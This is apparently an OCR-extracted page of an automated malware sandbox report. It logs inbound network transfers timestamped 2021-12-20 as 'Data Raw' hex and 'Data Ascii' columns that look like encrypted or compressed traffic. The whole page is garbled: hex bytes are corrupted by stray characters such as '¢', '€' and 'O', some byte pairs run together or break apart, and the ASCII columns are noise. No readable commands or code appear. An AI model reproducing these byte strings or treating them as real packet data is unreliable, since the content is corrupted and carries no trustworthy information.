551 ¢c8d5 7d 8b c0 90 cc 2d 16 7b d6 50 da 27 ea d1 34 40 32 66 ca eb 7d 84 76 89 ba b5 Le e8 28 62 95 04 a6 93 €0
66 8 b3 5f 60 2e Oe d7 ce 88 9c 3a 8e 4a 12 ff 20 22 17 f9 65 c7 94 a6 a4 99 3e e6 83 0d 26 ec 9b c1 4c 3e 62 8e f2 77
10 4b da 9a 29 7f ab 65 ea 56 73 42 9b bd e8 38 e4 0 d6 31 d1 ee 62 a2 a0 e3 74 9d 41 58 75 €5 88 96 8b 02 9e 37 37
1c 44 fc f4 b2 74 ¢5 41 b7 c6 d1 ab 96 11 30 66 b1 a3 0a

Data Ascii: .k:m#2ZD=A7w/:h/{n"-2"jbIMVPX8l#Kysg<kx:J:aFQ}-{P'4@2fv(bf_".:] "e>&L>bwK)eVsB81btAXu77DtO0f

Data Raw: ca 74 7b c5 89 b3 fe be b5 6e f4 82 d2 bf 7a fO 8e a6 69 a6 55 ba 34 1e e7 d8 4d 31 48 29 cc d2 82 31 cb 2e
50 ea 6d 89 02 62 18 65 5¢ 3f ¢8 9b 77 1b 3d 86 a0 9c ff 7d 05 13 00 51 d4 3b 35 1f 84 84 37 fe cc 9f 74 43 da fd ad 61 2b
a2 4b 19 f8 9¢ 12 04 d3 e2 22 b9 bd b1 f6 67 33 6a bf 18 db e5 69 cf e4 8a 36 c0 81 17 00 a5 ef 57 3c 5a cb 77 6a 50 24
58 75 3b 4c df 54 56 6a 24 b2 c4 8d cc 54 3a ce 6d 8e ff a3 57 f6 66 1f 2e 7 03 67 13 eb 2a 50 f6 a6 36 59 b2 ce 95 28 41
60 91 54 4d cc a6 ad 1b 95 88 4b cb cc aa b0 73 95 6b e7 b3 14 b8 88 2f 91 15 bd 7f 72 89 7e 1e 7d e3 21 00 fa a8 bb 71
29 f8 6f fe 53 a4 74 cc 5d be eb ee 7f f9 ca ae 6d 82 63 f4 7c bc 9c Oe bd 62 69 ce fb 63 6¢ 01 d6 90 le ee 37 32 bd a6 cf
0f 39 28 ca 4a 7f 39 11 f3 dc 9f d8 55 5¢ bb 57

Data Ascii: t{nziU4M1H)1.Pmbe\?w=}Q;57tCa+K"g3ji6 W<ZwjP$Xu;LTV|$T:mWF.g*P6Y (A TMKsk/r~}!q)oSt]mc|bic
1729(J9U\W

Data Raw: 13 1c 7d b8 71 be dd b8 e4 96 08 2a 53 8b 87 23 e5 cf 1f f1 d0 fO 08 2e 06 67 e7 ae 79 15 7f 00 e9 41 09 f4 96
8d 1d cc 99 d0 c9 Ob 68 da 5¢ 56 bc 85 €0 af 01 54 11 4d cf 41 96 75 3d 72 89 ba b5 4f 80 28 52 95 04 95 53 88 66 €8 b3
5f30 79 ¢9 92 1a 91 29 70 83 8d 57 27 0d c7 6d 66 a2 82 48 35 6d 05 d1 21 c6 ed 86 Oc a0 8c 8b 7b 86 20 d8 82 a0 8c 9f
72 €1 941059 2d 13 9f c1 ¢8 24 89 ff al 10 c1 1a d5 90 a5 e7 54 59 03 4b 67 9f 30 1d 69 ff 9f 61 59 72 cb 49 65 f0 89 75
f1 35b1 48 39 d0 a9 92 19 f7 €3 45 5d f5 12 7b €9 94 Oa al db 56 77 8f 9e d7 3a 21 2d e7 bc a2 9a ad 08 11 eb 70 82 22
2d ac 03 14 06 b3 87 5b 54 d9 2d 34 ed a4 4e 0b 59 Oe 1c 9d bf Oc 74 a5 61 78 4e c9 aa 93 de 1la db 14 4d 26 a7 fc 84 81
1b cf 24 ee cc d7 de 22 b9 9¢ 96 6d 17 8¢ 0d 01 a5

Data Ascii: }q*S#.gyAn\VTMAu=rO(RSf_Oy)pW'mfH5mY{ rY-$TYKgOiaYrleuSHIE[{Vw:!-p"-[T-4NYtaxNM&$"'m

Page 15 of 31



kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 18 IN Data Raw: 65 2a 00 ae 8f 86 35 b2 10 0d €9 12 03 d9 82 4e 2e d4 99 c0 e5 82 54 00 91 8d c4 7e 54 39 44 8e b7 a2 26 9a
79 9c c8 a7 70 14 a0 d1 8d Oa 71 3e 31 e0 6e b9 c8 45 22 ac a4 bb 5a df e3 54 a6 c0 a6 47 ea 8e e0 2f a6 09 47 aa af fd
1e be 5b 00 6d 43 4c 77 5e 71 44 a5 df 36 f0 66 d5 14 7a 3f f9 8b 47 ce df c4 ad 6a fb 89 Of ea cc 7b a9 71 2a 1c 1c 3d c3
el 3f 46 52 89 Oe 08 le 10 da 69 bc 31 b3 b9 a3 84 de b5 fb 48 0d b8 4e Oc aa 5d 9e 22 9f ff 53 fc dc 33 62 ¢5 67 cl eb 22
e5 a5 9e 62 7c 43 bd 97 b2 b9 6¢ 16 58 f1 08 7b 9a 56 2c 65 27 79 25 f6 05 17 3a d7 9e 76 8f f3 76 73 af fd €9 d8 ce 16 6¢
d5 3b 18 ba 42 42 86 7c d4 04 77 6f f6 03 4b 80 9a 60 30 36 ad fc 22 0d 24 32 95 de e4 92 aa 76 25 23 cc 9a f0 1f a8 a3
05 al 11 8e b2 f8 59 f9 11 4b 41 fO d8 c6 25 ae
Data Ascii: e*5N.T~T9D&ypg>1nE"ZTG/G[mCLw qD6fz?Gj{q*=?FRi1HN]"S3bg"b|CIX{V,e'y%:vvsj;BB|woK 06"$2v%
#YKAY%

2021-12-20 13:26:00 UTC 19 IN Data Raw: 2c 06 cO 9b 3e eb 9a 1f f8 25 58 ca 9a 68 cb 19 8b 86 27 36 30 40 e6 70 e6 5a 44 f0 94 d9 b9 b6 cf d1 35 e5 32
2e 29 03 a4 41 92 58 f4 32 c0 38 d7 2a 71 a4 77 b4 e5 3b c8 ff 7b 6e b7 8a 13 bf f0 56 d5 7d 58 9d ¢8 dd 95 9c a6 Ob 11
el 35ch 15 80 02 56 e4 8e 88 46 82 0d 63 94 17 6d 87 5b e7 el 8c a8 9e bc 3b 19 bb 79 e4 a0 23 ec 79 82 56 44 3e d6
90 be ff b5 2d b9 00 69 1b 0d 29 9e 1b e5 f1 86 3d d7 05 3a c9 a4 50 c0 7a 72 61 3d bf 05 3e Oe 3e eb 7d 84 1c 89 ea 5d
b3 31 d7 9d 16 c0 aa ce 23 35 8a fd 8¢ db 64 b6 9c 9b 03 70 6¢ 05 3f 1e a8 76 11 €8 11 55 aa 95 a6 27 5d 3a 63 43 79 2c
8a 18 fd 0a 62 16 8d ba 02 e6 03 ae 91 4f fc 97 23 b6 22 77 05 d3 c8 1d bd 24 94 cf b4 2e 9a 77 2f ac dc 25 10 15 1e 77
6e cd 9e d9 52 76 30 5d 1d 44 7f 30 be 2b 9b 12 74 93 5a
Data Ascii: ,>%Xh'60@pZD52.)AX28*qw;{nV}X5VFcm[;y#yVD>-i)=:Pzra=>>}]1#5dpl?vU"]:cCy,bO#"w$.w/%wnRv0]DO+tZ

2021-12-20 13:26:00 UTC 21 IN Data Raw: 3e 3e 76 17 6b 70 Of 4¢c 2c €9 ac b9 b4 b3 65 c1 43 53 a4 1c 4a 18 2¢ 27 31 chb 43 d7 3c 78 f2 98 ca 2f 77 88
6a 3a 96 57 d9 a2 fb 30 4e 14 89 df 31 7b al 23 3b e6 40 cb ed 6f 65 f2 d0 6b 3e cf d1 de 1e 08 a6 d2 cf f8 5a ed a6 ac 8e
d2 22 06 b4 70 c9 db 34 e7 79 8a f6 59 bb 9a ¢3 33 ac df ff 57 ec 00 cf 61 25 7c 4¢c 51 65 13 40 bb 43 9d 1e bl 40 62 fa ae
21 d1 ba a9 95 5d 20 9e 7e 55 8a 69 d6 cf b2 7b ae 91 70 8b 17 b7 ee ab c8 de 80 a2 9e 31 a0 12 ac ¢8 f1 35 c9 dc 56 a9
2e 22 7c 51 04 c2 be 1a 14 02 49 42 ce 48 66 dd 17 46 d8 9a 50 00 ef 13 7b 68 ff 5b 92 26 07 98 89 {7 53 2a 53 23 8b 33
ea 0a 2d 9f 87 1b 7b 9d 90 cc a7 c2 04 91 c9 66 a3 8¢ f5 28 08 76 58 22 87 49 7e dc 0a 22 b5 c5 6b fd 99 40 f6 31 8a cO
37 9b ec b2 80 ¢8 3c d3 9f 78 5d 5d 21 bc aa 77 00
Data Ascii: >>vkpL,eCSJ,'1C<x/wj:WON1{# @oek>Z"p4yY3Wa%|LQe@C@b!] ~Ui{p15V."|QIBHfFP{h[&S*S#3-{f(vX"
I~"k@17<x]]'w

2021-12-20 13:26:00 UTC 22 IN Data Raw: eb 4a 79 67 64 77 ea b0 cf 74 3a 94 39 29 6¢c ee c3 8c 3a c4 ec 13 7a 97 b9 68 b6 7c 8b 43 54 d8 2e d6 2b 5b
15 6e 77 67 5¢c 44 b5 cd 99 9b 03 f7 7 77 89 37 21 5b ba dd 9d 6a 87 62 97 b2 8e 42 d3 5e 60 a3 83 2f 30 77 63 bl 5f f2
52 ff 20 22 45 9f ec 82 0a 2f €9 39 d6 86 €0 Oc 26 ef 5b a7 c5 7b fe e6 eb 75 12 4b 57 1f 59 8a 54 9a ba db 3e da ca eb 00
ac 97 e0 d6 b2 15 ce e7 62 d4 8b f9 c8 ad Oa fe b0 10 fe 8b 03 9e 37 ba 99 34 07 Ob 4d 24 af 4e 3a 8b 4d fa c4 47 d8 6b f2
a2 Oa 6e af d5 51 4a b2 5d 58 0a 09 9a d7 de 9a 28 67 36 a7 9a ad 3f ch 86 6¢ 1e dc d2 c9 68 5e a3 37 Oc ab 54 d9 3d e3
f3 73 2e 55 07 Oe 7c b8 87 9b 8b 2c ed 7d b3 b7 a5 96 70 68 1e el fe dd 09 27 52 el 04 bd 25 6d 60 c7 57 a7 cl ec fc 62
bl 24 1a 8b dd c1 81 f0 69 6e 58 19 67 08 82 bc 37
Data Ascii: Jygdwt:9)I:zh|CT.+[nwg\Dw7![jbB~'/0wc_R "E/9&[{uKWYT>b74M$N:MGknQJ]X(g6?Ih"7T=s.U|,}ph'R
%m Wh$inXg7

2021-12-20 13:26:00 UTC 23 IN Data Raw: 7a de 10 f0 78 95 dc 36 88 fd cc 96 e0 d8 96 c9 61 a9 f9 ¢3 36 c8 6b 21 Ob 5a 12 b0 56 41 7d al d7 13 cb d8
a5e2c7 12 36 01 4b da 3d a0 12 ac 25 30 3a 49 a4 fa a9 07 f6 02 99 Oc 1e Oa af 7c 13 18 ac 61 91 3f 09 a5 9c bf 1f 09 c3
6¢ b9 15 ec 07 8d 5d 02 c¢3 e8 d3 7b bd 7d 01 cb 20 06 f5 05 2a f4 8b 44 25 90 71 16 77 44 96 02 c2 65 1b 71 de c4 42 f3
4010 db 1c bf 4a 61 2e c¢7 f7 el 11 43 63 a9 37 a2 68 ee af f2 a9 d6 20 13 00 8b 58 35 32 €0 ad 77 50 56 2d ed 16 71 98
c8 5 ab 48 5e 40 c4 72 38 d5 fa 16 5d 17 8¢ 40 e7 f2 13 37 9d 43 37 47 ab de e0 94 12 d0 ed 88 b4 17 c9 ee 18 0f 8a 33
2b 5b 54 03 dd f0 67 ba 2d Oc f6 c9 c0 89 5f ef 7d e6 f9 82 17 56 d8 6d c8 cb 8a f1 00 06 el 69 9a 00 fa 4a f1 91 27 al 38
6b 11 55 62 7e 81 93 5b a3 91 d8 56 4e b2 92 01 bc
Data Ascii: zx6a6k!ZVA}6K=%0:1|a?l]{} *D%qwDeqB@Ja.Cc7h X52wPV-qH"@r8]@7C7G3+[Tg-_}VmiJ'8kUb~[VN

2021-12-20 13:26:00 UTC 24 IN Data Raw: 8f d2 ¢5 77 c7 aa 65 ea 56 28 1f 58 71 bd b3 08 61 3a 59 dO ee 62 21 dd ef 74 92 c5 8f 74 e5 88 15 f6 12 9e 38
b3 d1 45 fc f4 e1 22 92 7c 77 ae 2f ab 96 11 60 eb 3c 39 f4 12 94 98 b2 03 42 84 2d 70 8e 89 fd 77 16 a4 e9 33 54 ee d4
b6 9f 6e 8e 4f Of 80 83 b9 9a 5b b3 Oc ab 10 58 ¢9 9f 1b b4 48 93 42 71 81 c0 19 64 12 28 34 80 04 cc f2 c0 21 e5 8a 99
03 22 31 f5 ae 49 62 bc 27 ee a4 d7 b0 26 34 94 9b 63 1e 8c a2 05 c0 e3 2d 73 ad Oc db ea 36 f4 5a b7 26 2a 84 0f c0 ed
58 2f f6 d4 2e ab 68 f5 42 16 68 64 fe 62 c2 34 fa fe 8a 1e 84 9f 11 e5 78 6a 3c ¢8 56 f8 ad 08 c5 08 el ea bb 3b 9a 86 1f
0Oc 90 56 64 db 87 fd 1e 90 63 44 64 65 f9 84 37 b2 d3 b8 bb Ob 37 fe 85 fb 58 c8 c6 67 70 6d 91 8a 88 3b 12 fc 6a 3d 8a
75 cf 7d 1a 93 96 36 da 93 c9 f8 de df 89 5e 68 94
Data Ascii: weV(Xqa: Yb!tt8E"|w/ <9B-pw3TnO[XHBqd(4!"11b'&4c-s6Z&*X/.hBhdb4xj<V;VdcDde77Xgpm;j=u}6~h

2021-12-20 13:26:00 UTC 26 IN Data Raw: 46 25 ad 84 ec 5e 16 cb 47 d1 36 f0 64 e2 c5 62 99 38 ce 4c 30 c6 39 ef 6d 94 f9 eb 5e 45 9d c8 ec ea bl 85 7d
37 48 55 63 80 0c 5¢c a2 77 61 6b fb 7d bb fe 86 ed 5d c7 de 47 22 d6 92 c0 46 91 68 81 5c¢ fc 31 11 6b 7f db b3 ef 39 b5
7a 07 70 ec 1d c7 b6 93 c7 b6 00 44 b5 f1 a9 8c da f7 35 9¢c 69 e8 61 69 2b fb 63 cd 8f cc d5 28 dO 2d ac 29 9e c2 a9 42
3a 5d 66 98 d3 01 63 62 cb 1f cO 6b 42 03 45 86 5a f4 5d c2 77 37 3 d4 47 80 39 f4 63 ec 55 4e bc 01 d8 3a 52 23 76 b4
46 57 6 8b 48 85 9e 31 48 cb el f8 a3 d3 ae 3b 62 44 29 50 35 3 1e 9b fc 6d 9f 34 f1 8c e2 23 Oc Oa 74 30 d3 7c fb 3c 67
03 7850 17 7d a6 Oc 72 4f a8 04 fa ce dO c5 5b 39 c¢7 bc ac 7a 6e 34 ¢5 52 3a e7 fb 06 ed c4 71 87 23 6a 1f 62 96 e0 3e
b2 98 07 06 f2 56 e4 04 0d 04 15 24 el d8 22 02 78
Data Ascii: F%"G6db8L09M"E}7HUc\wak}]G"Fh\1k9zpD5iai+c(-)B:]fchkBEZ]w7G9cUN:R#VFWH1H;bD)P5m4#t0|<gxP
}rO[9zn4R:q#b>V$"x

2021-12-20 13:26:00 UTC 27 IN Data Raw: 7c 35 9¢ 37 2d 79 ¢3 26 5b e4 b4 8d 70 66 fc 70 a0 9d 7d c5 62 bc a8 6b cc 2¢ 25 dd 3a d5 4b cd 09 4b bd 52
28 bd ba 77 2e 9e cb 11 2e 5f 38 f3 e2 3f c6 b5 6d 44 4f 8b 21 80 c2 93 ed 1a 2f 05 45 dc ae 04 44 8d d2 ff 1e 2f d4 9f 11
15 7d 6a 3c c8 e8 df 50 f9 3a 7a 46 7d 71 48 e0 11 63 37 6b 54 01 29 8a 07 el 05 32 af a8 82 41 55 ea 2b 2d ca d1 32 24
1c 20 a8 Oe 4a b9 fd 8e 1f ac 62 aa 64 9f 2e 54 2e 49 65 a7 81 73 93 fc 73 65 cf Oe 21 36 7b €0 02 63 c2 3b bb 88 47 78
c0 3b 5 e0 b9 4e 17 1f 34 d4 41 cO 64 2e 40 Oe 49 36 49 ba 61 d3 d6 99 b0 95 ¢6 5¢ b3 45 11 1b 8a d4 85 35 1c 34 c9 a8
24 87 5b a0 76 f3 f1 8d 3b 07 23 47 6f b5 95 4f 25 32 4e 6e 1b 04 57 9a 6d fe 5b al 6¢ €9 08 19 67 68 03 52 60 2b 47 bl
218209 b9 13 2b 76 08 93 5a 9e b2 5e 31 6a c3 Oe bl
Data Ascii: |57-y&[pfp}bk,%:KKR(w.._8?mDO!/ED/}j<P:zF}qHc7kT)2AU+-2$ Jbd.T.lesse!6{c;Gx;N4Ad.@161a\E54$[v;#GoO
%2NnWm[lghR +G!+vZA 1]

2021-12-20 13:26:00 UTC 28 IN Data Raw: 67 5d a2 c6 8b 28 dO 7d e6 el d8 11 56 d8 6b fc aa dd 53 fc f9 9d 45 2c ca ae aa f7 61 8b d7 79 b8 22 41 66
2969 da 98 ff 71 1c d3 fa 3c 07 f9 41 c5 6a 31 a4 30 5d 7c f7 ed 4c 4d e2 24 eb 65 b0 10 d1 de 94 c4 58 dc 15 dO 0d 4f d5
1f b6 6d 9f da 96 05 6e 66 74 cf a5 bb 7c db fa be 9e 8e ce 80 42 d7 fe Oc a2 Ob 05 76 88 e5 7d d2 77 21 2e 05 72 ff 2b 4f
fc al 4c 21 ¢3 87 7d 58 da 79 23 6a 94 f1 1f 99 21 4d 96 58 0a 98 56 69 03 fb 7d 23 af f1 a7 09 52 Oc dd 76 25 5e cf 59 b0
b0 de 18 91 da 40 73 67 bf 4e 14 38 b3 dd b8 65 f1 92 8c 61 4f 84 1b 0d e7 41 4b b7 2c da 5a 46 c2 3d ac e6 a8 fe 8f ac
06 50 d8 5¢ 36 66 ca bd f6 f1 7e 0a 04 b5 13 8 28 62 c2 Ob 22 9d e3 66 ¢8 30 el 64 23 Oe d7 ce 87 18 3b 8d 4a 12 7c 9e
de 1b f9 65 c7 9b 22 50 9b 3e e6 00 b3 2e el 9b
Data Ascii: g](}VKSE,ay"Af)iq<Aj10]|LM$eXOmnft|Bviw!.r+OLI}IXy#!MXVi}#Rv%"Y @sgN8eaOAK,ZF=P\6f~(b"f0d#;J|e"P>.
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 29 IN Data Raw: 71 2e c1 aa 14 71 Oe ba 2a a8 87 30 48 5¢ 5b bb da 58 a2 c6 79 78 b1 c7 67 74 c4 ed 28 f8 d1 eb 59 85 b5 2b
a3 0a 25 92 6¢ 38 c8 46 ff 33 d5 84 43 d7 98 4e 4f fd 8b Oa dc 0d 72 7e 44 58 f0 d2 c1 8f 2b 2f 40 08 42 08 bf 45 9e e3 c4
9a bl 91 Oe e4 c1 f7 22 8e 27 db d6 34 1c b7 84 e5 e6 Oe 8b 55 13 fe d0 89 Oe 48 55 e5 86 3b ea 95 44 cf db 91 7e 17 c5
c9 e0 fO 46 52 1e 5b 94 a0 Oe 72 a6 00 85 a7 2b 4a de fO 1d e3 ab 7a 6e 8b 4c 0d 76 fO 6b ee 10 80 c5 1d 53 f5 08 61 cd
4d 9f 75 f7 a9 5b ce 67 e7 9e fa db c6 b4 c5 4a bl ab Oe 4e 7d f5 95 bb e4 55 64 d3 a9 e2 43 92 b6 bd 8b cf 05 ce 9a 35 4f
1cea36 64 c058 74 c7 a4 a4 63 31 fd 08 cc cf 56 a9 a9 f6 1c be f0 ef f2 bf e4 al 9c 4d 8c e9 46 5d 26 90 Ob Oa 48 21 e6
11 36 85 51 04 99 75 86 b8 00 fa 82 52 99 ae 84
Data Ascii: ¢.g*0H\[Xyxgt(Y+%I8F3CNOr~DX+/@BE"4UHU;D~FR[r+JznLvkSaMu[gIN}UdC506dXtc1VMF]&H!6QuUR

2021-12-20 13:26:00 UTC 31 IN Data Raw: 1b f8 60 77 b2 a2 6f 3c 3a c7 92 d7 7b 6e df e8 57 b3 a2 8a 06 81 45 f6 c0 72 e7 52 fa 4a 7c 23 7b 15 9c 8b a7
ce b6 66 ca b5 dc 50 2b 15 d3 b5 49 2f 3c cc 91 22 d3 b0 el 60 2c 4f e4 a0 f0 a3 10 01 el 92 a8 93 f3 d6 87 a6 de 38 c4
61 15 98 f6 8a a0 d6 7c 8b cO 1d 49 d4 e8 84 29 03 8a af 77 29 ca bf cd 8e f1 d6 7c 84 1le 8a bb b5 1e 65 a5 97 68 fb 59
c0 bl ee 55 47 a2 9f d1 e6 4 f3 89 9c d2 c0 78 13 ff 70 71 ff 9e 57 c6 94 2d f4 a9 6¢ 6b 06 f9 db 13 64 91 a4 19 21 8f f2 fa
9d bf 27 65 d6 2e 43 2e d5 57 73 12 16 28 1c c5 1b 1f 5f 74 2d bc ef 27 58 1d 8b 62 11 b0 41 a3 89 96 00 5f 96 b4 3 24
€9 71 Oc 4c 8b 3a le dd be 82 43 89 c¢8 30 66 32 67 02 bd 83 bf 0d 8a c7 9f 17 87 f4 al 5¢c Ob 9c d1 6e 2c 48 a2 14 76 99
6e 8e 7c 35 04 2c fd 66 84 73 Oe fb 56 db 91 b5
Data Ascii: "wo<:{nWErRJ|#{fP+1/<"",08all)w)|ehYUGxpqW-lkd!'e.C.Ws(_t-"XbA_$qgL:C0f2g\n,Hvn|5,fsV

2021-12-20 13:26:00 UTC 32 IN Data Raw: 21 11 ca 23 3e b5 ac ac d4 c5 aa 07 6e 3d 73 21 29 3d 20 9d bc 18 3b Oe 3d 25 9f c¢9 ce 85 f1 f1 1c 36 ec 08 bb
a8 59 3e 3f 92 fe 1b 6f 1a b4 8f 49 75 5a 81 a6 le 6f 09 e3 5a 21 dd 8b 8d a5 a9 83 96 Of 6e d3 08 42 f5 4e 8 ba 78 ec e3
47 ca 99 6a Oe e8 ab f3 d6 e2 6e 9b ba b0 2b €9 c9 6e 95 c4 f4 Oe 14 7b 2d 9b 4c 34 70 7c 00 9d 2b 95 dc 65 fb 07 9d 75
64 12 €9 f3 c2 2c 06 e8 aa e4 a2 c7 e6 4b 3f cc 26 cb a0 7c fe 27 94 5a b5 Oa f4 1e 1b 37 ¢3 01 b2 62 ce 29 7a d5 49 Oe
bl 1ae9 a7 3c ab 79 f1 29 6¢c €0 0d 60 81 42 f7 03 fd 53 ed c7 fb a3 8 15 bb 23 1d ad f9 4c a3 2c 2d 48 31 1e bf 21 a7 58
2406 13 88 aa a5 Oc 56 1b 8d f7 ba 38 f6 d7 20 94 2b 82 04 8a 46 2d 3f 2e 66 7b 78 el ca bl 2d 1c 14 48 42 aa 67 a4 3b
cf bb a0 47 53 8e 25 0a a0 07 45 8f 41 ae 83 bb
Data Ascii: [#>n=s!)= ;=%6Y>?0luZoZ!nBNxGjn+n{-L4p|+eud,K?&|'Z7b)zI<y)I'BS#L,-H1!IX$V8 +F-2.f{x-HBg;GS%EA

2021-12-20 13:26:00 UTC 33 IN Data Raw: 6e 82 f0 21 de 52 de 2f €9 28 ef 00 5¢ 5b 6¢ 1f 34 9e 38 87 88 a2 cb d7 ce Ob 58 36 Ob 8a 66 c4 77 74 ff 77 56
€6 94 25 60 91 bb 26 f7 20 ad a9 03 4a 02 3a 32 df al 9f a9 79 db 9a aa bb a7 8d cb 7a 72 42 12 fe fc d0 68 86 d7 31 fa
b0 66 2f f4 fb 76 14 14 50 fe a0 80 69 5b 5d c0 04 f7 47 cf 19 a9 71 b8 90 c4 5b 90 5a de 9a 94 c6 13 b4 90 ca b3 36 0a 83
01 ba 14 b9 8b 19 61 38 21 17 cc 62 46 5d 65 38 6e cf a9 88 7c dd d2 44 3b 23 Ob b3 Oc aa d7 f5 82 80 1a d1 cb 90 13 Oc
ff 45 bc 10 2e 2a 9e 3 86 40 d1 67 4b e5 db ¢8 69 27 a1 9d 05 7b 63 bc a6 2a b0 ea de 22 b9 d1 76 de 6a 74 9a 53 a8 3e
7e fe f8 6a 89 31 2b 5f €3 98 aa b3 7a 7b 7a b3 da 70 a9 d5 2e c0 60 7 47 ee ba 23 ae 08 cd d5 fd 7b 4e 2e d4 12 15 38
8a 7d a2 a8 bf 37 76 cd ed Oc 73 2a e3 b0 cd 26 af
Data Ascii: n!R/(\[148X6fwtwV% & J:2yzrBh1f/vPi[]Gq[Z6a8!bF]e8n|D;#E.* @gKi'{c*"vjtS>~j1+_z{zp."G#{N.8}7vs*&

2021-12-20 13:26:00 UTC 34 IN Data Raw: bb cb 77 30 81 7a 8e 13 2d e5 c2 0d db 45 d6 2f 08 60 b8 8c f6 56 4b 94 33 17 1f 60 45 2e de 02 81 40 b3 de
8e f8 dd 06 f2 d1 a2 30 e4 b3 93 5b 67 a0 17 bc ef d6 16 ba d7 60 2d 3a ff ea cd 5e b6 38 c3 af 84 1f 59 d6 4f 24 4e 45 cd
07 43 a0 71 dc a8 90 4c 2d 16 f6 a8 54 8d 71 bb 81 dc 72 25 67 ca 68 b9 90 bl 8e ba b5 1e e8 77 a5 93 04 a6 93 e0 38
9570 63 d9 80 33 ec b8 1le ed 27 1d 7f e7 4e 97 44 42 72 89 46 78 ae a6 99 3e b5 08 50 2a 69 40 ce c8 d4 62 8e f2 11 93
70 da 95 ad 9f ab 65 ea d5 Oe 52 9b b2 6¢c ee e4 e0 d6 67 86 dd a2 ca a6 el 74 9d 11 d5 f8 1f 75 69 74 53 ad c1 51 95 c1
04 09 4d 8b 2d 87 98 c7 d1 f8 7e 23 02 67 b1 20 ce fd ee 09 a0 95 4a al 2b 72 8e 9e a3 ea 3c 5ff2 49 eb 74 d1 94 c4 1a
82 1a 54 c6 4b ba e5 c6 bl 37 5b a5 f1 53 b1 71 d4 1b df
Data Ascii: w0z-E/'VK3'E.@0[g -:"8YO$SNECqL-Tqr%ghw8pc3'NDBrEx>P*i@bpeRIgtuitSQM-~#g J+r<_ItTK7[Sq

2021-12-20 13:26:00 UTC 35 IN Data Raw: 95 63 0f a0 0d 25 6e 96 da 11 10 e2 7b 33 d3 83 9d de 25 81 27 02 d9 a0 6e a4 1f c6 f4 59 64 b9 24 0d ba b4
8577 f839 ce 96 40 ca le ee 2181 71 ¢7 4d eb 7c f7 a9 Oc 26 92 b9 62 fb ab 94 e4 c3 8a 75 fe ¢9 Ob 10 a9 65 21 1b b9
€9 Oa 5f 36 31 92 71 92 26 0 84 66 9a f0 Of fc 70 3a 15 c0 9f 61 49 d6 4c 29 11 3b 4d ad ef ae 5a 2f e9 5b 52 95 6¢ 36 af
09 49 46 48 8¢ 02 a0 4b 1d 53 f6 48 3f 84 €9 11 66 7a 0a 3b 25 7b d3 de af 57 95 48 1d 46 3f 61 4f 56 d0 ¢3 6¢ 72 97 48
c131fbc8ae 1129 5e b7 b5 44 19 fd c4 05 96 bc d5 a5 78 99 52 90 63 d1 ca 9f e4 42 7c 8d 44 d3 e4 3e fd d8 3¢ 00 87
3239 0bf5 16 fb eb 88 81 44 01 5¢ a8 fb 35 a3 7c ¢9 Od b9 45 42 e4 76 {7 e6 f0 05 05 82 f6 f4 20 eb f9 f4 Oe bd 7b bd d5
€3 3e 9d e0 6b fd bb b5 49 65 ¢5 56 ba e6 04 53 8¢
Data Ascii: c%n{3%'nYd$w9@!qM|&bue!_61q&fp:all);MZ/[RIBIFHKSH?{z;%{WHF?aOVIrH1)"DxRcB|D><29D\5|EBvV {
>kleVS

2021-12-20 13:26:00 UTC 37 IN Data Raw: b1 e6 85 1c 9d 2e 5a c9 34 a5 e7 e5 20 f3 42 2d 84 a5 43 df 4f 49 38 3d 8e 4a 43 a9 70 ca 54 e6 65 c7 1f e3
50 12 73 1e 00 c9 2a ef 65 4a 39 c2 e2 b2 cc 36 65 01 5b a2 b9 ef 3b 2c 9f 14 fe 06 a5 b8 db ce 74 d8 ca 01 a4 fc 5a fe 90
€201 9179 04 45 e7 fd 90 b3 5e ae 34 43 19 02 c7 05 c0 90 4e 02 bf 47 10 0f 91 11 30 37 7 f3 e2 1le 75 c9 d4 01 82 e8
58 c2 89 e2 ec 2d 14 5a e9 33 a0 e5 6e 50 da 1b c4 fd e5 42 d4 6¢ 2c 72 f1 81 ef €9 18 0a 47 8b €9 54 64 72 97 c1 9c 4¢c
65 01 ad 59 24 3 4e 2f 6f 19 b9 bb 9a 77 27 b0 4e 4b 1b 86 37 68 €6 25 16 7e 25 b9 11 52 cb b1 9b 51 4d 28 3e f5 36 59
ed 96 9f f8 cc 07 39 4d 39 Of Oc bf 83 8e 37 d9 9f af f9 fO Of d7 b5 cf 61 73 26 f3 87 09 8b de 16 c8 22 9 6f be c9 3 98 cb
3b cd 55 f5 87 00 a9 1b 99 55 7a e8 cd d2 3f 7d
Data Ascii: .Z4 B-COI8=JCpTePs*eJ96e[; tZyE"4CNGO7uX-Z3nPBI,rGTdrLeY$N/ow'NK7h%~%RQM(>6Y9IM97as&"o;UU
z?}

2021-12-20 13:26:00 UTC 38 IN Data Raw: c5 ce e0 ae 09 8f f2 ba bc 0f 56 23 3e ea 87 a5 14 c6 f9 62 d4 al 4e be 80 f2 40 a8 ee c7 a7 75 05 6e d8 f8 13
8a 17 37 9b fe 34 c5 fb ee 8f 6e 54 0f ab 25 ¢6 1b 7f 12 cO 7f 51 92 6e 82 d5 b3 bb 16 77 9e 9d 96 bc 5e cb 9c ca 53 90 b7
92 30 17 d5 d7 74 30 be 58 5¢ 36 78 cb ¢3 36 08 a0 59 29 fc ¢7 50 06 70 24 ed 16 47 b6 37 0a 76 50 c7 ba f4 49 40 1f 4e
79 a3 14 0f 84 62 fa 4e b8 53 54 9c 92 f9 8f bd 9a ab 50 16 77 3e db 3a 72 bd a7 dd db 77 39 55 77 c7 67 67 b8 21 67 e2
61 da 89 28 ba 6d 3c 84 71 cc a8 27 b9 5e 33 07 f5 5¢ ¢5 34 45 c0 a8 af aa 2a fc 77 8f 38 6b 2b 85 6e fd 3f 19 d5 fe 71 1f
66 b8 e7 7a bf 81 3a 95 e5 32 dc c5 85 2e ea cl c8 1a ad 5d 72 dd ed 2f 97 10 04 95 c0 9e 6e d5 c5 6b 3 d2 43 8a 8c fO
b7 65 63 ac 32 5a 31 b9 b6 34 {7 be 0d 0a f4 17
Data Ascii: V#>bN@un74nT%Qnw"S0t0X\6x6Y)Pp$G 7vPI@NybNSTPw>:rw9Uwgg!ga(m<q“3\4E*w8k+n?qfz:2.]r/nkCec
2714

2021-12-20 13:26:00 UTC 39 IN Data Raw: fc 4d 5a 02 e7 4b 71 55 6b c¢9 57 4e cf 4c 3b 1d 57 60 28 a2 d3 b4 e7 86 53 e0 9d 6e 98 6e 05 2b 5 80 2e f4
